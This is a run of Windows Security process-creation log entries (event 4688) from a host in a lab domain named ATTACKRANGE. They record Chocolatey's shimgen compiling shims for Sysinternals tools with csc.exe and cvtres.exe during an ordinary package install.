Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246394
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf20
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246393
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xff0
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x4b0
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\Clockres.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123405_3960\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123405_3960\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123405_3960\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123405_3960\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123405_3960\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246392
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x44c
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x4b0
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246391
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4b0
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\Clockres.exe" --output="C:\ProgramData\chocolatey\bin\Clockres.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\Clockres.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246390
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf18
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe04
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESB987.tmp" "c:\ProgramData\chocolatey\bin\CSC3BF3165739E94B8A90AE5F0C47C905E.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246389
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x480
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe04
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246388
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe04
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd20
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\Cacheset.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123405_1773\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123405_1773\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123405_1773\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123405_1773\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123405_1773\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246387
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x994
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd20
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246386
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd20
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\Cacheset.exe" --output="C:\ProgramData\chocolatey\bin\Cacheset.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\Cacheset.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246385
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd14
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x2d8
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESB8AC.tmp" "c:\ProgramData\chocolatey\bin\CSC3801F1A9F19A40F38AB34C645E30416C.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246429
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x39c
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x62c
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246428
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x62c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xba0
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\CPUSTRES64.EXE" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123406_8960\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123406_8960\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123406_8960\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123406_8960\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123406_8960\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246427
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x68
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xba0
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246426
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xba0
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\CPUSTRES64.EXE" --output="C:\ProgramData\chocolatey\bin\CPUSTRES64.EXE"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\CPUSTRES64.EXE"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246425
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x57c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x530
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESBF92.tmp" "c:\ProgramData\chocolatey\bin\CSC4D7BC2DF869F4FCA888D46E8DE2DE7C4.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246424
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x35c
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x530
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246423
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x530
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x5d8
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\CPUSTRES.EXE" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123406_7085\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123406_7085\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123406_7085\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123406_7085\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123406_7085\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

